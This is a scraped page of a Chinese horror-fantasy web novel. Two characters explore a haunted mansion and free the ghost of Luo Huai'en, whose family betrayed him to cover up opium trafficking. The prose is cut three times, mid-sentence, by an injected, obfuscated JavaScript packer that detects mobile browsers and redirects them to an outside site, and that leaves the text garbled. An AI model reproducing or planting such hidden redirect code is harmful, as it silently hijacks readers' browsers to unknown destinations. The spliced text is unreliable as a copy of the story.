顺着拉姆的视线,赵义之看见和蜘蛛一样趴在墙上的两名女子。或许是察觉到院子里来了人,正焦急爬来爬去的鬼怪动作停滞,两个脑袋同时转过头直盯着他们,显然是忌惮赵义之手里的水枪。 青砖墙上满是血手印,凡是她们爬过的地方,全都有。她们似乎迫切地想进入房中,可紧闭的门窗上贴有黄符,让所有邪祟都无法靠近。 自然,也包括她们。 两名女子后退几步,口中不断发出哀嚎,手掌用力击打墙面,又弄出许多血手印。她们最后竟是退到另一侧,在赵义之看不见的那面墙壁上,只探出半个脑袋,用那双空洞的眼睛观察着他们,黑色的头发垂在墙外,更显得毛骨悚然了。 “这是什么意思?”赵义之怔愣愣地对上她们的视线,低头看了看自己手上的水枪,恍然大悟,“她们怕我手上的水枪。不过……她们怕的不是水啊。” 拉姆瞥了一眼水枪:“她们怕的是这里面的水。” 赵义之端起水枪对准她们,被拉姆用手按下来。拉姆转头看向贴着黄符的屋子,留下一句:“在这里等我。” “你去哪儿?” “进去看看。” 赵义之几乎是条件反射地抓住他的胳膊,抬眼看了看被黑布遮住的窗户,皱着眉头一咬牙:“算了,我和你一起进去,好歹有个照应。”走了几步,他又说,“你走前面。” 拉姆走过去推门,推不动:“锁了。” 赵义之上前试了试:“难道又要找钥匙?” 若是普通的门,砸了就砸了。但贴着黄符的门赵义之不敢随意对待,里面说不定关着什么危险的东西,万一弄坏门让它跑出来…… 他扫眼四顾周围的环境——由四间房围成的天井中间有一口方形的大石缸,水草茂盛,紧密覆盖得不留一丝缝隙,要拨开它,才看得见里面的水。就在拉姆俯身盯着石缸里头时,赵义之已经推开了一间屋子的门。 一间小型的会客室。既有布艺的沙发,也有圆桌独凳摆在堂中央,角落里放着一只落地钟。赵义之进去找钥匙没多久,报时的钟声便响起来。 钟声引起了赵义之的注意,他走过去,打开玻璃门,里里外外找了个遍。手拿出来像洗过一样干净,且不说钥匙,连灰尘都没有。 跟在赵义之身后跑进来的黑猫跳上印花的单人布沙发,用爪子对着靠背底下的缝隙不知在掏什么,就像那里头藏着它的小零食。 “喵!”黑猫对着无动于衷的赵义之叫了一声,以表不满。 在旁边看着的赵义之忽然悟过神来,大步走过去:“定定,你是不是想告诉我这里面有什么?” 黑猫见他还算聪明,又喵了一声后跳上扶手坐好,监工。赵义之拿起坐垫,满怀希望的笑脸在看见底下空空如也后立刻褪去。他扭头疑惑地看一眼黑猫,用手摸遍椅面,又摸向坐垫的背面。 有个比棉花硬的东西——是一封信,落款:罗淮恩。 赵义之放下坐垫,撕开信封,拿出里面泛黄的纸,展开。 茵茵小姐径启者: 淮恩已查明张兄祥文离世背后的缘由。不敢欺瞒,是以如实相告。 张兄生前曾以贩卖鸦片营生,广进财源。令尊陆老想分得一杯羹,邀他来陆家做客,实则不然。张兄被关地牢,含冤而亡,其手中人脉被陆老接管。 鸦片是亡国之毒,张兄有错,令尊亦然。我断不能袖手旁观,唯有让陆老及时收手,心中才安慰。 请饶恕我对我们之间情谊的背叛。 行书仓促,余言不尽。 友 淮恩 “这封信藏在了会客室的坐垫内,看来罗淮恩在那之后,没有机会将它拿出来交给陆茵茵。”赵义之心中对罗淮恩多了一些惋惜,提到罗淮恩的死,他变得愤愤不平,“这个姓陆的坏事做尽。” 拉姆阅读完,依折痕收好信,顺手还给赵义之:“还有别的线索吗?” “还没找到,以防万一,我再看看其他沙发垫。” “我去另一间。”拉姆朝左边的屋子走去。 除了罗怀恩的信,在这间屋子再未找到其他有用的信息,赵义之小跑着,来到右边第二间房屋外,推门走进去。 房间不大,很暗,窗户上贴满了报纸,又拉着黑色的布帘。赵义之将布帘拉开,光线才勉强照进来,让他看清屋内的陈设:至少有三分之二的地板被拔高了三十公分,上面铺着柔软的垫子,房间一角的柜子里放着长烟管、纸捻子和油灯。 这些糟粕,令桌面上放着的六边形八音盒的存在显得极其不协调。 只是环顾了一圈房间,赵义之就发现了这只八音盒。他走过去打开八音盒的盖子,《卡农》的旋律悠然响起。八音盒里跳舞的小人儿随着音乐旋转,盒盖上的镜子映出它白色的身影。 赵义之拿起八音盒看了又看,拉开下方的小抽屉——空的,连划痕都没有。 他关上八音盒放回原位,打开放着大烟的柜子,将里面的东西一样一样拎出来,扔在地上,狠狠踩了几脚。 几乎清空柜子里的东西后,他弯下腰确认,这才发现柜子的最深处有个铁盒子。铁盒上挂着密码锁,赵义之将它拿出来摆弄片刻,放在耳边摇了摇——里面是金属撞击的声音。 外面忽然传来钢琴声,赵义之循声来到左边的屋子,站在门口没进去。拉姆在里面弹钢琴,弹的正是刚才那首《卡农》, 拉姆弹出来的琴声细腻又温柔,仿佛有了温度,暖暖的。赵义之恍然间看见了满屋金黄色的花浮在空中,花瓣抖落,孵化成金黄色的飞虫,像蝴蝶那样,煽动着形似小妖精翅膀的翎翼,飞舞在整个房间里。 妖精虫身上泛着光,拉姆身上也泛着光。 这一切,是常人无法看见的美。 最后一个音符响过,赵义之毫不掩饰自己对琴声的喜欢,用力拍手鼓掌:“没想到你还会弹钢琴。” “做过一段时间的钢琴师。”拉姆落下手指,再次弹出下一首曲子的音符。 赵义之靠着门框静静听着,脸上的微笑逐渐转为惊讶,最后变得欢喜又伤悲,不禁跟着琴声哼起来——这是他之前哼过的那首歌,是他和死去的朋友一起写的曲子。 没想到拉姆竟然记住了。 琴声结束后,赵义之才走进去,靠在钢琴上低头看着拉姆:“你记忆力这么好,听过一遍就记住了。”他按下一个琴键,“为什么要弹这首?” 拉姆合上琴盖:“看到你,突然就想起了这段旋律。” “还真是突然。”赵义之这才注意到钢琴上放着的《卡农》曲谱,拿起来翻了翻,看不懂,于是又放回去:“这曲谱是原来就放在这里的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439116|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。”拉姆瞧见赵义之的神色变了,又问,“曲谱怎么了?” “我在那间屋子里找到一个八音盒,打开后响起的音乐也是卡农。”赵义之看向拉姆,“会不会是什么重要线索?” 拉姆没有回答,而是拿过赵义之放在琴上的铁盒:“这是什么?” “我在柜子里找到的。”赵义之说,“我想它既然被锁住了,里面应该放着什么东西,说不定就是那扇门的钥匙。” 拉姆的手指抚过上面的密码锁,喃道:“六个数字。” “看来要找有数字的东西……” “那只钟,正好有六个六位数。” “会客室!”赵义之冲出琴房跑到会客室。 会客室的时钟并没有走动,停在了7点14分23秒。赵义之一边跑向琴房一边高声说:“密码是071423!”进到屋子后他又用正常声量说了一遍,“密码是071423。” 听见数字的拉姆眉头微皱,盯着铁盒上的密码锁,并没有立刻拨动数字。 赵义之不解,在拉姆的脸与密码锁之间来扫视:“怎么,密码不对吗?” “密码是对的,但那扇门不能打开。” “啊?为什么不能打开?说不定里面装着的就是那扇门的钥匙。”明明钥匙就在眼前,换做任何人都想开锁看个究竟。 拉姆长沉一口气:“你说的这个时间,是鬼门开的时间。” “鬼……”赵义之立马转变态度,“行,你说不开就不开,都听你的。” 不过拉姆还是打开了铁盒,里面的确是把钥匙。他将钥匙从铁盒中取出来,交给赵义之保管。赵义之谨慎地贴身放好。 “定定,走了。” 与两名女子对峙的黑猫慢慢挪动脚去,出了院子才如兔子般跳着跟上前面两人。 黑猫领着二人走过几个无关紧要的院子,最后站定的地方,是一间位于高墙角落的小房间,十分不起眼。 “之前我就想说了,陆宅的布局堪称乱七八糟。”赵义之忍不住说。 黑猫生气地瞄了一声。 他转头对黑猫道歉:“我不是说你。” 面前的房间没有上锁,拉姆径直推门而入。 暗,这是赵义之对这间房的第一感觉,第二感觉是臭,和那间地牢的气味一样。他迅速戴上防毒面具,这次没有被熏晕。 嘎啦啦—— 锁链拖动的声音在屋子里响起。 赵义之手快,扔了个照明弹。 骤然而来的盛光仓促熄灭,但就是那仓促之间,赵义之和拉姆都看清了屋内的情况——满墙的刑具尚且留着半干的血渍,地面即使被冲刷过,缝隙处仍旧残留着发黑污浊。而在没有挂刑具的那面墙上,有个浑身浴血身缚铁链、没有下颌的男人虎视眈眈地盯着他们。 男人的模样闪现在赵义之眼前时,他差点尖叫。那副身体透着说不清的怪异,令他浑身不舒服。 于是赵义之坐在重型压路机上,直直墙小屋撞去。 墙塌了,外面的光照亮满是刑具的房间。赵义之开心地回头一看,见到的却是男人已然出现在拉姆背后的身影。他双腿钳着拉姆的腰,碗口粗的铁链缠紧了他的脖子。 “我就一眼没看紧你!”赵义之跳下压路机,也顾不得对男人那张脸的害怕,提着桃木剑冲过去。 不等赵义之近身,男人带着拉姆一起跳上最里面的墙,仅靠后背抓紧墙面,不仅在墙上行动自由,连过转角处也不会掉下来。 此时,拉姆成为男人最坚固的盾,赵义之的桃木剑毫无用处。 “赵义之……”拉姆艰难地发出声音,缓缓抬起手,指着自己的腹部。 凭借两人之间契约的连系,在拉姆叫出他的名字时,他就懂了拉姆的意思。 47.没有下颌的男人 几乎是下意识,赵义之断然拒绝:“不可能!” 可看着痛苦的拉姆,除此之外,他想不出更好的办法了。 赵义之緊抿着唇,眉头深锁,手中的桃木剑重得怎么都抬不起来:“没有其他办法了吗?” 他多犹豫一秒,拉姆就多受一秒的苦。对现在的赵义之而言,那是最好的办法了。 最终,赵义之深吸一口气,目光直直望向拉姆,是他从不曾显露过的凝重:“对不起,我想不到更好的办法救你出来。不过作为赔礼,我满足你的心愿。”他咬着牙,扔掉手中的桃木剑,“以后……你、你就是我……小叔!” 拉姆微微睁大双眼,有些诧异,嘴角轻轻勾了勾。 赵义之端起机关枪,胸口挂着子弹,枪口追着男人逃窜的身影扫射。男人的动作极其迅速,却也比不过枪林弹雨。 不多久,男人钳住拉姆的双腿与铁链逐渐松开,两人一起从墙上掉下来。赵义之赶在他们落地前往地面铺了厚厚的软垫,接住拉姆瘫软下坠的身体。 赵义之跳上软垫,不知所措地看着气若游丝的拉姆,想扶他起来却又无处下手。 拉姆微微睁开眼,向赵义之的脑袋颤颤巍巍伸出手。这一次,是赵义之主动靠近,将脑袋凑入拉姆的掌心,乖乖让他摸。 “你做得很好……” 直到此刻,赵义之的自责才真正将他吞噬。拉姆不会死,但是会痛,然而拉姆却安慰他、夸赞他,对自身的伤毫不在意。 赵义之闭上眼,再睁开时,神色已变得愠怒:“等着,我给你报仇。” 男人摔在拉姆身旁,背后沿着脊骨裂开,伤口中长满肉芽。正是这些肉芽帮他吸住墙面,使他能够自由移动。 赵义之抓住他的脑袋往垫子里按。他一只手死死控制住男人,另一只手反扣住住男人的肩臂。 “喵!”黑猫突然蹿出来抱住赵义之的手臂,轻轻咬下去。 “呃……呃……”男人没有下颌,只能从喉咙发出嘶哑的声音,空洞的双目流出两行泪。 赵义之不由得松了手上的力,惊讶地看着黑猫:“定定,你不希望我伤害他?他是谁?” 黑猫放开赵义之的手臂,从他背后绕到右边,爪子伸进他的裤兜掏出来一张照片。照片扣在软垫上,赵义之捡起照片的同时将它翻过来,看见了上面身着西装的英俊男人。 获得自由的男人抢过赵义之手中的相片,呜咽的哭声不断从他喉咙里传来,发黑的眼泪砸在相片上,又滑落。 “你……是罗淮恩?”赵义之的声音因错愕而有些颤抖,“你、你怎么会变成这副模样样?” 没有下颌的男人无法说话,连哭声都显得怪异。 身上的伤口愈合得差不多了,拉姆坐起来,对赵义之说:“还记得人的下颌骨和舌骨长什么样子吗?” 赵义之闻声回头:“你的身体没事了?” “好多了。下颌骨和舌骨,你能做出来吗?” 赵义之立刻摊手构建出两块骨头递给拉姆:“是长这样的吧?” “对。”拉姆接过两块骨头,放在罗淮恩的颧骨下,恢复了他下半张脸的皮肉。 自罗淮恩头部飘出的幽幽气息凝成人形,模样逐渐清晰,与照片上的脸别无二致。他茫然地打量着眼前的赵义之与拉姆:“二位,是来带我去投胎的吗?临走前,可否让我回家见见亲人?” 赵义之不知如何回答,扭头看向身旁的拉姆。 “不是。”拉姆回答道。 罗淮恩苦涩地笑了笑,身上没有一丝怨恨:“陆家草菅人命,想必你们也和我一样,是枉死的冤魂,大仇未报,留连人间。” “你是世家大族的出身,陆家怎么敢动你?”这个问题萦绕在赵义之心间很久。 沉默许久,罗淮恩才开口:“我是家中最不起眼的人,即使我不见踪迹,他们也不会花心思来寻。” “我想知道当年发生的事。”拉姆单刀直入地问,“你、陆茵茵,还有整个陆家。” 罗淮恩显然有些惊讶,随后他落寞地低下头,嘴角仍有礼貌的微笑。与张祥文不同,他是自小便有许多钱财的富家公子,身上带有贵气。 当年—— 罗家除他之外还有三个儿子,四个女儿。大哥早早便跟在父亲身边做事,最小的弟弟被惯坏了,小小年纪学人花天酒地,纨绔不堪。他上面还有个哥哥,参军后便离开了家,现在是名少尉。 而他,好似多余的那一个。父亲不会对他严苛教导,姨太太们不会拉着他打牌,家中聊天时多是大哥的政治远见、二哥的成就、小弟的混账。 罗淮恩? 你说淮恩啊,他,就……是个听话的好孩子,没什么缺点。要说这优点……踏实,淮恩做事脚踏实地——家中人提起罗淮恩时,大都是这样的。 作为罗家的孩子,他没有出色的地方。 但其实他也可以很优秀的。 于是十九岁这年,在二妹提出要去英国留学时,罗淮恩作为“伴读”,被允许前往英国。这对罗家而言不过是花一笔小钱的事。 留学的第三年,家中写信催促他回家,议亲。 从书信中得知,对方是陆家的大女儿。出国前他听说过这位姑娘的传闻,与其他鄙视陆茵茵的人不同,他觉得她很勇敢,像头小野豹。他向家里提出出国的请求,也有部分勇气是来自陆茵茵。 所以,罗淮恩并不排斥这场联姻。回国之前甚至特意买了不少礼物,其中包括他喜欢的书和音乐。如果陆茵茵没有留声机,那他可以送她一个。 满心欢喜的罗淮恩回到家乡,却听说陆茵茵逃婚,被抓回去后挨了顿打——她不止一次因为逃走而挨打。 没关系,感情可以慢慢培养。罗淮恩这般安慰自己。 他拿着礼物拜访陆家,也见到了小姐楼里孤独的陆茵茵,却发现曾经令他倍受鼓舞的野豹被剪断指甲、拔了獠牙。 为什么?难道嫁给他就如此不堪吗? 罗淮恩攥紧装礼物的盒子,忍不住发抖:“陆小姐,我……” 坐在二楼窗边的陆茵茵没有低头看她一眼,双眼无神地望向远处。 “这些是我从英国给你带回来的礼物。”罗淮恩将礼物塞给照顾陆茵茵的婆子,转身匆匆离去。 罗淮恩是有些伤心的,可既然陆茵茵这么排斥和他结婚,他也愿意成全她。 回到家,罗淮恩向父亲提出终止联姻。正在练毛笔字的罗老爷抬眼看了看他:“理由呢?” “陆小姐不愿意嫁给我。”罗淮恩说话的声音越来越小,他已经猜到等待他的会是什么。 罗老爷久久不应声,等到字写完放下笔,他才看着罗淮恩的脸说:“你大嫂前些日子,带你大哥结识了一位上海来的大老板。你二哥和司令的女儿在相处,日子合适,两家长辈该见面了。老四年纪还小,贪玩很正常。可是你呢?你要出国念书,我允了,结果你学了三年的文学,你可不可笑?陆小姐不喜欢你,你该做的是想办法让她喜欢,这么简单的事还要让别人教你吗。回去好好想想,自己该干什么。” 这婚,是退不了的。罗家的姨太太们拉来老四给他出主意,老四让他给陆小姐送花送首饰。阵仗要大,要浪漫,女孩子喜欢这样。罗淮恩听着老四那些撩拨姑娘的手段,脸色红一阵白一阵,最终只学了送花这一样。 他天天送,站在院子里和陆茵茵简单说几句话就走。陆茵茵从来不回她,有时烦了还会直接关上窗户。 直到某一日,照顾陆茵茵的婆子被叫走,她才第一次和他说了话。 “三少爷,能帮我找个人吗?”几乎是祈求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445390|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气。 罗淮恩心里高兴,没问找谁便答应下来;“我知道陆小块不希望别人知道这件事,我会亲自去帮你打听。” “谢谢。”陆茵茵拿出一张照片,万分不舍地多看几眼,才扔给院子里的罗淮恩,“他叫张祥文,是个大老板。” 捡起照片的罗淮恩愣了愣。 他一边帮陆茵茵找人,一边每日带花去看她。他知道陆茵茵不喜欢被婆子看着,每次都以培养感情为由将婆子支走。 就是这时候,罗淮恩知道了陆茵茵和张祥文的过去。 “若是他变心了,我也不怪他。可我实在不相信为了娶我不惜做坏事的人,这么轻易就把我忘了。”陆茵茵按住自己的心窝,“就怕他已经……” 罗淮恩悄悄松口气,如果张祥文变心了,陆茵茵说不定会愿意嫁给他。他知道这个想法十分卑劣,可又忍不住生出一丝期待。 人啊,有时候就是这么自私。 然后,他从醉酒的陆家大哥的口中得知,张祥文死了,就死在陆家。 他没有立刻告诉陆茵茵,而是继续暗中调查,收集陆家贩卖鸦片的证据。查到最后他发现,他的大哥也牵连其中。他纠结过,或许可以袖手旁观,假装不知道,只将张祥文的死讯告诉陆茵茵。 可是每当夜深人静时,他又万般痛恨自己的懦弱。 经过几日思考,他最终只将张祥文的死告诉了陆茵茵,将其余的消息写成一封信,等有朝一日,陆茵茵不会因为知道真相而难过的时候,再给她。 这封信没来得及藏,管家便告诉他陆家来人了,请三少爷去做客。信便被他随手揣进怀里。 罗淮恩应邀去了陆家,有张祥文的前车之鉴,他格外谨慎。 不过陆老爷似乎是当真邀他来做客的,问了许多他在英国念书时的事。 “喝咖啡。”陆老爷笑着提醒他。 正好罗淮恩说得口渴了,于是喝了一大口。 陆老爷直白地夸赞他:“茵茵能嫁给陆三少爷,是她上辈子修来的福气,也是我们陆家的福气。” “可不是嘛。”旁边的姨太太笑着附和,“陆三公子一表人才,又是国外留学回来的,好多女孩子都喜欢的。” 罗淮恩借喝咖啡的动作掩饰羞涩:“能娶到茵茵小姐,是我的福气。” 陆老爷要留罗淮恩吃饭,罗淮恩多了个心眼,将信藏在沙发坐垫里。他在赌,若是赌赢了,他寻个借口再将信拿回来便好。若是赌输了,他也不后悔。 结果,他真的赌输了。 陆家的人想方设法灌他喝酒,等他酒醒时已是第二日。他躺在床上,身边正是昨日夸他的那个姨太太。 姨太太哭着说昨日被他强迫。 他解释,无人相信。 陆老爷把他扭送警察署,关入大牢。 大哥来看他,没有多余的寒暄,直白地问:“为什么要查烟馆?” 罗淮恩怔愣片刻,随后明白过来,扑向铁窗:“是陆家人陷害我!他们知道我查到很多东西,怕我去找司令告状,对不对!” 大哥捏捏眉心,语气还算平和:“我是来带你出去的,但之后,你别再想着去告状。就算你见到了司令,你也告不了。” “为什么?”他直直看着大哥的眼睛,“你真的在帮陆家卖鸦片……哥,那可是鸦片啊!人吸了会上瘾,会死的啊!” “你看见有人抽大烟抽死了吗?” “哥,鸦片真的不是好东西,不能为了钱就害人啊!” 大哥冷哼一声:“你以为你平时装阔少爷的钱是哪里来的?” 罗淮恩愣住了,脸上褪尽颜色。 “你年纪不小了,别再说这些不切实际的话,我不喜欢听,爸也不喜欢听。好好想想,你究竟该做什么,别让我们再对你失望。” 48.罗家老三 与陆茵茵一样,回到家的罗淮恩被震怒的罗老爷关在了房间里,房门外有两人守着。他因被冤枉一事失魂落魄好几天,连房门都不出。 某日清晨他醒来,整个人变了。用大哥的话来说,是幡然醒悟。 “大哥,我想要一笔钱。”罗淮恩特意等在大哥的房门外。 老大上下打量他,似笑非笑:“你要多少?” 罗淮恩低下头,有些不好意思:“两百块。” “这么多钱你拿来做什么?” “我打算给陆小姐买点首饰,再请四弟的朋友帮我弄一场盛大的求婚仪式。我之前确实太木讷了,作为罗家人,我想变得更优秀。” 老大重重拍了拍罗淮恩的肩,目光中带着赞许:“一会儿到我房里来,我拿给你。多跟着老四见见世面,结交人脉,对你来说没坏处。” 罗淮恩立刻点头:“我不会再辜负大哥和家里。之前是我不够成熟,不明白爸和大哥的辛苦。” “多看看,多学学。等你结婚后,城南的地交给你们小两口打理。不会的地方问我和你嫂子都行。”老大笑看着罗淮恩,“就当大哥送你的结婚礼了。” 罗淮恩双眼发亮:“谢谢大哥!我一定努力学习,绝不让你们失望。” 罗家老大给了这个三弟一千块,除了买礼物,其他的就让他花着玩。罗老爷对此没有发表任何意见,只说孩子大了,自己有自己的路要走。 老四带着罗淮恩,与他那些富家子弟的朋友们从早到晚花天酒地,不是包场听曲儿,就是找姑娘来做游戏。罗淮恩和老四他们一起抽雪茄、喝红酒、玩色子,在别人的床上醒过来。 “别只顾着玩,也要做点正事。”对于他的这些表现,罗老大十分满意,“我给你安排的工作也要好好完成。那些都是些简单的事,跟着梁叔认真学。” “是,我一定认真向梁叔学习如何理账。” “很好。” 于是在某个阳光明媚的午后,老大和老四带着罗淮恩走进一间妓馆的后院,推开了那扇罪恶之门。 “三位少爷慢慢享受。”婀娜多姿的女人退出房间,关上门。 老四走到榻边一个转身坐下,非常放松:“三哥是第一次来这种地方吧?放心,今天除了我们三兄弟,没人敢进来打扰,你就好好享受吧,保准让你神魂颠倒。”他说着仰面躺下,一副不想再起来的样子。 罗老大挂好外套,走过来上榻盘腿坐好:“老三,别紧张,凡事都有第一次,你很快就会适应了。” “哈哈。”老四笑了两声,“说不定,三哥以后比我们还会享受。” 罗淮恩脱下西装外套,挂在罗老大的衣服旁边,上了榻:“这东西真有这么好?” 老大笑而不语,老四便说:“要不都说三哥你读书读傻了呢,到现在都没抽过大烟。大哥告诉我的时候我都不敢信。你说你读那么多书有什么用,到头来啊,还是什么都不懂。这世上,最好的东西就是钱。” 罗淮恩点头呢喃:“是啊,读那么多书,有什么用……” 门被敲了敲,一个身着粉色旗袍的年轻女人走进来,笑意盈盈的:“大少、四少,您二位好久没来了呢。这位一定是三少吧,果然罗家四位少爷个个都气宇不凡。” 老四半躺着,全凭一只手肘撑住身体:“鸢鸢的嘴越来越会说了。行,今天爷高兴,拿去买胭脂。”他从衣服里摸出几张钱票,伸长手臂递出去。 “哎哟~这可真是,谢谢四少了。”她连忙屈膝双手接下,这才继续去准备东西,“三少还没有专用的烟管,要不要鸢鸢给您推荐?” “推荐什么,拿最贵的。”老四赶在罗淮恩开口之前说,“这点钱,对我们罗家来说算什么。” 罗老大侧目睨他,似笑非笑地缓缓开口:“老四,听说你昨天又去账上拿钱了,老三的烟秆就当作你送他吧。” 这点钱,老四是不在意的:“行啊。” 罗淮恩笑起来:“那就先谢谢四弟了。” “兄弟之间,谢什么谢。” 鸢鸢端着盘子过来,跪坐在榻上,点燃两盏油灯,依次递上已经装好烟丝的烟秆。 “鸢鸢。”老四拍拍自己身边的位置。 鸢鸢嫣然一笑,跪爬过去,拿双腿给老四当枕头。 老大眯起眼盯着老三:“怎么样,抽得惯吗?” 罗淮恩强忍着恶心,露出笑容:“要知道是这么好的东西,我早该试试的。一想到之前的举动,我就恨不得抽自己。老四,以后有什么好玩的,记得带上三哥。” 老四笑了一下,吐出一口烟雾,没接罗淮恩的话:“二哥是不是快订婚了?我们什么时候去?” 老大也笑:“快了,就这几天。” 罗淮恩一口一口抽着烟,眼睛却盯着窗户发愣。 几日后,罗老爷带着儿子女儿,浩浩荡荡几辆车,开到了司令部门口。 按照朱小姐的喜好,订婚宴摆在花园的大草坪上,像西方国家上流社会的人一样,端着盘子,挑自己喜欢的拿。 来的是乡绅和一些做大生意的老板,背景都不简单。他们谈笑风生,相互吹捧。两位亲家老爷当然是聊个不停,很快便约好一起去爬山。 郎才女貌的罗家二少和司令千金朱小姐在招呼客人,脸上洋溢着幸福而明媚的笑,仿佛能照亮每一处黑暗的角落。 罗淮恩紧张得心脏砰砰直跳,眼神不时朝司令的方向看去。他怀里带着罗、陆两家贩卖鸦片的证据,想找个机会单独与司令详谈,求他看在二哥的份上,只收缴鸦片,不要苛责两家。 与人谈笑的罗老二余光瞥见他心神不宁,便和朱小姐打了招呼,来到他身边:“老三,听说你和陆小姐进展得不顺利?女人靠哄,没事多跟老四学学。以后我们三兄弟,大哥从政,我从军,你从商,多好。” 罗淮恩只顾着点头,根本没把罗老二的话听进去:“二哥,你们军纪挺严的吧?” “不严怎么出好兵。”罗老二向来严肃的脸上浮起玩味的笑,“怎么,你想参军?” “不是,我随便问问。”罗淮恩低下头,思考很久才终于鼓起勇气,对自己的二哥说,“二哥,你能不能帮我一个忙?” “你说。” 罗淮恩咬咬牙:“我想单独见见司令。” 罗老二有些惊讶:“你单独见司令做什么?” “你别问了,我暂时还不能告诉你。” “好,我帮你和司令说说。” 得到二哥的许诺,罗淮恩这才稍稍安心。但在真正见到司令前他还是紧张的,一遍一遍用手帕擦手心的汗。直到罗老二再次找到他,要带他去见司令,他紧张不安的情绪才消失,转而抱着拼死一搏的决然。 罗老二停下脚步,“你找司令什么事,连二哥都不能说?” 罗淮恩低下头,一脸为难:“是……很重要的事。” 罗老二缓缓叹口气,给罗淮恩指出一个方向,“司令在这前面。你去吧,我还要照顾其他宾客。” 隔着西装外套摸了摸怀里的文件袋,罗淮恩深吸一口气,对罗老二笑道:“二哥,新婚快乐。” 罗老二的眼底闪过一丝错愕,启唇欲言又止,最终还是没多说什么。他笑着拍拍罗淮恩的肩:“谢谢,三弟。” 他目送罗淮恩走入后院,决然转身离开。 被人抽走文件袋按在地上时,罗淮恩仍旧以为是陆家派的人来阻止他,大声喊着朱司令,一遍又一遍。 为首的人呲笑一声:“三少爷,别喊啦。你怎么不想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452622|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朱司令和罗家结亲家,只是因为女儿喜欢吗?您啊,还是太孩子气了。这段时间就请你和我们待在一起了。” 即便他再蠢,也该听出话里的意思了。至始至终,他都没能走出这张网。而那些恶毒的蜘蛛看着他挣扎,等待他精疲力竭的时候,将他分食。 罗淮恩被接到风声跟来的人带去了陆家,这并非罗老爷的的本意。自然,罗家也安排了人手,在罗淮恩不老实的时候将他带走。所以当听见罗淮恩呼喊司令时,没有人觉得哪里不妥,包括朱司令本人。 本来罗家人不愿意把事情做得这么绝,毕竟是自家孩子,可朱司令有句话说得好,世间之事不过舍得二字。 罗老爷深以为然:“玉不雕不成器,是该好好雕一雕老三了。” 可是罗淮恩却从此失踪了,罗家人派人去找,但哪里都找不到他。 高门深院,任何死人的话都传不出去—— 罗淮恩叹口气:“是罗某人福薄。” “姓陆的真不是个东西。”赵义之低声骂道,“姓罗的也是。” “对了,陆小姐她还好吗?”罗淮恩有些愧疚,他低下头,“她想知道张祥文为何而死,我却没有告诉她。” 拉姆扯断缠绕在罗淮恩身上的铁链:“她也死了。” 罗淮恩错愕地睁大双眼,立马有了眼泪:“死了?她是怎么死的?生病?” “这个……”赵义之瞥了拉姆一眼,继续说,“我们也不太清楚。” “希望她是自由的寿终正寝。”罗淮恩轻声说。 赵义之只能陪着笑脸。 “你出入陆家时,有没有见过金色头发、和我长得一样的人?”拉姆摆正自己的脸,问罗淮恩。 罗淮恩仔细端详片刻,摇摇头:“若是见过,我肯定记得,金色头发的人在国内很少见。” 拉姆脸上的表情中带了半分失望:“看来是之后的事了。”随后他又对罗淮恩说,“陆家宅已经困不住你了。去吧。” 罗淮恩抬头望着很久不见的天空,站起身向两人鞠了个躬:“多谢二位拯救了我,这具残破不堪的身体因怨恨而变得丑陋,将我的灵魂困于此地。现在,我终于自由了。” 他笑着,慢慢消失在赵义之与拉姆的眼前。 看了看房间内的各种刑具,赵义之咬牙切齿地说:“还好陆家人遭到了报应,就是可惜了陆茵茵。” 拉姆沉口气:“现在有两条路可以走,一条是去找陆茵茵,另一条是打开那扇贴着黄符的门。”他转头问赵义之,“你想怎么选?” “找陆茵茵。”赵义之没有半点犹豫,“Boss还是留到最后去打吧。不过抛尸陆茵茵的古井没有灵魂飘出来。还有啊,小姐楼里的那个白衣女鬼又是谁?更重要的是,是谁把陆茵茵的尸块扔井里的。你觉得呢?” 拉姆陷入沉默。 黑猫跑废墟,回头喵喵叫。 “先跟着嗅墨,它对陆宅比我们熟悉。” 赵义之乖巧点头:“我什么时候可以变回25岁的赵义之?” 拉姆站起身来,整理好破破烂烂的衣服:“等你慢慢熟悉修改信息的方法,你可以把自己改成任何年纪。” “和我大变挖掘机一样?”赵义之跟着拉姆走向黑猫。 “改变物质本身的信息,远比新建一段信息困难。” “我是执行者,就是帮你处理这些信息的吧?而且好像只能在茧房里,我上次给你弄的那些衣服,一回去就没了。” 拉姆点点头:“茧房外的信息都有记录,不是那么好改变的。” “但是可以改变。”赵义之很会抓重点。 “很久之前,阿卡夏改变过一次。” “结果呢?” “生物换代。” 49.破坏者 为了找到陆茵茵的灵魂,赵义之与拉姆在陆家宅子里一遍又一遍找,连茅坑都去看了两三回,可惜依然没找到。 